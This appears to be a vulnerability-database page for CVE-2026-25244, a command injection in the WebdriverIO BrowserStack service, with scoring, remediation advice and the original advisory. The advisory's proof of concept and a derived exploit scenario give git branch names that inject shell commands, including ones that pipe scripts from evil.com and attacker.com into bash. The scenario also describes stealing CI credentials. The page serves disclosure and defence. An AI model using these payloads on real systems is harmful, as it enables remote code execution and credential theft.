Skip to main content

@wdio/browserstack-service EUVDEUVD-2026-30805

| CVE-2026-25244 CRITICAL
OS Command Injection (CWE-78)
2026-05-11 https://github.com/webdriverio/webdriverio GHSA-5c46-x3qw-q7j7
9.8
CVSS 3.1 · Vendor: https://github.com/webdriverio/webdriverio
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Clone malicious git repository
  2. Delivery
    Configure WebdriverIO with BrowserStack service
  3. Exploit
    Run test suite via npm/wdio
  4. Install
    Trigger getGitMetadataForAISelection()
  5. C2
    execSync() processes malicious branch name
  6. Execute
    Shell executes injected commands
  7. Impact
    Exfiltrate credentials and establish persistence

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires WebdriverIO configured with the BrowserStack service package (@wdio/browserstack-service versions <= 9.23.2) and testOrchestrationOptions.runSmartSelection.enabled set to true in wdio.conf.js, which activates the vulnerable AI-driven test selection feature. The victim must run tests from within a git repository controlled or influenced by the attacker, achieved either by explicitly configuring testOrchestrationOptions.runSmartSelection.source to point at an attacker-controlled repository path, or by running tests in the current directory when that directory is a malicious git clone. Critically, the attacker must have the ability to create git branches with arbitrary names containing shell metacharacters in a repository the victim will use for testing - this requires either direct repository write access, successful social engineering (convincing victims to clone and test against malicious repos), or compromise of an upstream dependency repository in the victim's supply chain. The vulnerability triggers automatically when WebdriverIO test execution invokes the BrowserStack service initialization, requiring no additional user interaction beyond running 'npm run wdio' or equivalent test commands. Default configurations are vulnerable if runSmartSelection is enabled, as no special settings are needed beyond feature activation. Authentication is not required from the attacker's perspective once the malicious repository is in the victim's test execution path. Exploitation is limited to environments where WebdriverIO BrowserStack integration is actively used for test orchestration, making CI/CD pipelines and developer workstations running automated browser tests the primary attack surface.

Impact

CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) indicates maximum severity with network attack vector, low complexity, and no privileges or user interaction required. However, this vector assessment requires critical context: the 'network' vector applies because an attacker can host a malicious git repository remotely, but exploitation is not as simple as sending an HTTP request to a vulnerable service. The attack requires the victim to actively configure WebdriverIO to use the attacker's repository as a test source (via testOrchestrationOptions.runSmartSelection.source) or to run tests from within a cloned malicious repository. This introduces social engineering or supply chain compromise as prerequisite steps not captured in the CVSS vector. Real-world risk is highest in CI/CD environments where automated pipelines might pull and test code from forked repositories, third-party contributions, or compromised upstream dependencies without adequate review. Developer workstations running WebdriverIO tests are also at risk if developers test against unfamiliar repositories. The publicly available POC with explicit exploitation steps significantly lowers the barrier to weaponization. EPSS and KEV data are not provided in the input, preventing quantitative exploitation probability assessment. SSVC framework considerations: exploitation is automatable once repository access is achieved (low skill required with public POC), technical impact is critical (arbitrary code execution with process privileges), but exploitation status appears limited to proof-of-concept rather than widespread in-the-wild activity based on available evidence. Patch availability in version 9.24.0 released 2026-02-10 provides clear remediation path, making this a time-sensitive priority for organizations using the affected package versions in automated testing workflows. The vulnerability represents substantial supply chain risk if malicious packages or repositories enter the build pipeline, but lower risk for isolated developer environments with strict repository access controls.

Exploit ScenarioDerived

An attacker creates a malicious fork of a popular open-source project repository and adds a git branch named 'feature;curl${IFS}attacker.com/steal.sh|bash;#' containing seemingly legitimate code contributions. The attacker submits a pull request to the upstream project. A maintainer or CI/CD system configured with WebdriverIO and @wdio/browserstack-service clones the fork to run automated tests, with runSmartSelection enabled to optimize test execution. When the BrowserStack service's getGitMetadataForAISelection() function executes to gather git metadata, it extracts the malicious branch name and passes it unsanitized to execSync(). The shell interprets the semicolon as a command separator and ${IFS} as a space substitute, executing 'curl attacker.com/steal.sh | bash' which downloads and runs a payload script. The script exfiltrates environment variables containing BrowserStack credentials, GitHub tokens, and AWS keys from the CI environment, then establishes persistence by modifying build scripts to inject backdoors into compiled artifacts. Publicly available exploit code exists demonstrating this attack pattern with file creation and command execution payloads.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 11, 2026

Command injection in @wdio/browserstack-service allows arbitrary code execution when malicious git branch names are processed during test orchestration. Attackers can craft repository branch names containing shell metacharacters that execute when the BrowserStack service's getGitMetadataForAISelection() function unsafely passes branch names to Node.js execSync() calls. Exploitation requires configuring WebdriverIO to point at an attacker-controlled repository or cloning into a directory where tests run, making this primarily a supply chain and CI/CD pipeline risk. Publicly available exploit code exists with working proof-of-concept demonstrating file creation via injected commands. Vendor-released patch available in version 9.24.0 per GitHub advisory GHSA-5c46-x3qw-q7j7. CVSS 9.8 (Critical) reflects maximum impact, but real-world exploitation requires either social engineering developers to use malicious repos or compromising upstream dependencies - exploitation probability depends heavily on organizational code review and repository vetting practices.

RemediationAI

Upgrade @wdio/browserstack-service to version 9.24.0 or later immediately, as confirmed by the vendor release at https://github.com/webdriverio/webdriverio/releases/tag/v9.24.0 and security advisory https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7. Update package dependencies using 'npm update @wdio/browserstack-service@latest' or modify package.json to specify version constraint '>=9.24.0' and run 'npm install'. For organizations unable to immediately patch, implement the following compensating controls with awareness of their limitations: disable the vulnerable feature by removing or setting testOrchestrationOptions.runSmartSelection.enabled to false in wdio.conf.js, which eliminates AI-driven test selection benefits but prevents exploitation; implement strict git repository allowlisting in CI/CD configurations to prevent tests from running against unapproved repositories, though this requires comprehensive inventory of legitimate test sources; apply mandatory code review for any wdio.conf.js changes that modify testOrchestrationOptions.runSmartSelection.source paths, recognizing that determined attackers may still bypass review through compromised dependencies; restrict CI/CD pipeline permissions to prevent arbitrary repository cloning, though this may break legitimate workflows requiring dynamic repository access. None of these workarounds fully mitigate the vulnerability - upgrading to 9.24.0 is the only complete remediation. Organizations should audit CI/CD logs for suspicious git branch names containing shell metacharacters (semicolons, backticks, ${IFS}, curl commands) as potential indicators of exploitation attempts.

Affected VersionsENISA

webdriverio < 9.24.0

Affected Packages

npm @wdio/browserstack-service fix: 9.24.0
euvd webdriverio fix: 9.24.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the WebdriverIO BrowserStack service NPM package (@wdio/browserstack-service), specifically in the test orchestration helpers module at helpers.ts line 204. WebdriverIO is a popular browser automation framework for Node.js that integrates with BrowserStack cloud testing services. The vulnerable code implements an AI-driven smart test selection feature (runSmartSelection) that extracts git metadata to optimize which tests to run. The root cause is CWE-78 (OS Command Injection): the getGitMetadataForAISelection() function calls Node.js child_process.execSync() with string interpolation of unsanitized git branch names directly into shell commands. Git permits branch names to contain special shell metacharacters including semicolons, backticks, dollar signs, and variable expansion syntax like ${IFS} (Internal Field Separator used to bypass space restrictions in injection payloads). When execSync processes these crafted branch names, the shell interprets the metacharacters as command separators or substitutions, executing attacker-controlled commands in the context of the Node.js process. The CPE identifier pkg:npm/@wdio_browserstack-service confirms all versions through 9.23.2 are vulnerable. This reflects a common anti-pattern in Node.js applications where developers assume git metadata is trusted input, failing to apply input validation before shell invocation.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/webdriverio/webdriverio) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Red Hat 8.0 HIGH

Primary rating from Vendor (https://github.com/webdriverio/webdriverio).

CVSS VectorVendor: https://github.com/webdriverio/webdriverio

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.

Details

_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._

Vulnerable Code

File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204

Root Cause

User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches.

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"

Attack Vector

  1. Attacker creates a malicious git repository with a branch name containing command injection payload
  2. Attacker configures WebdriverIO to use this repository via testOrchestrationOptions.runSmartSelection.source. if source is not provided it takes current directory as source.
  3. When getGitMetadataForAISelection() executes, it extracts the malicious branch name
  4. Branch name is interpolated into shell commands without sanitization
  5. Shell interprets special characters and executes attacker's commands

PoC

Step 1: Create Malicious Repository Branch

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"

Step 2: Configure WebdriverIO

javascript
// wdio.conf.js
export const config = {
    services: [
        ['browserstack', {
            user: process.env.BROWSERSTACK_USERNAME,
            key: process.env.BROWSERSTACK_ACCESS_KEY,
            testOrchestrationOptions: {
                runSmartSelection: {
                    enabled: true,
                    source: ['/tmp/malicious-repo']  // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory.
                }
            }
        }]
    ],
    // ... rest of config
}

Step 3: Run Tests

bash
npm run wdio

Step 4: Verify RCE

bash
# Check if file was created (proof of RCE)
ls -la /tmp/pwned.txt

Impact

  • Remote Code Execution on CI/CD servers or developer machines
  • Information Disclosure (environment variables, secrets, credentials)
  • Data Exfiltration (source code, SSH keys, configuration files)
  • System Compromise (backdoor installation, lateral movement)
  • Supply Chain Attack (modify build artifacts)

Executive ViewAI

Why It Matters

CVE-2026-25244 is a critical command injection vulnerability in @wdio/browserstack-service that allows arbitrary code execution through malicious Git branch names during CI/CD test orchestration. Organizations using WebdriverIO with BrowserStack integration face supply-chain and pipeline compromise risk if developers are directed to malicious repositories or if upstream dependencies are compromised. This vulnerability directly threatens build integrity and could enable lateral movement into production environments.

Business Impact: Severe
Compensating Controls

Vendor-released patch: @wdio/browserstack-service version 9.24.0. If immediate patching is not feasible: (1) Restrict CI/CD pipeline access to pre-approved, internal Git repositories only; (2) Disable BrowserStack service integration until patched; (3) Implement shell command filtering on branch names before test execution; (4) Run test orchestration in isolated, ephemeral containers with minimal host filesystem access; (5) Monitor execSync() calls in Node processes for unexpected child process spawning.

Threat Intelligence Overview

EPSS Score
0.4%
Top 41% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

69
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy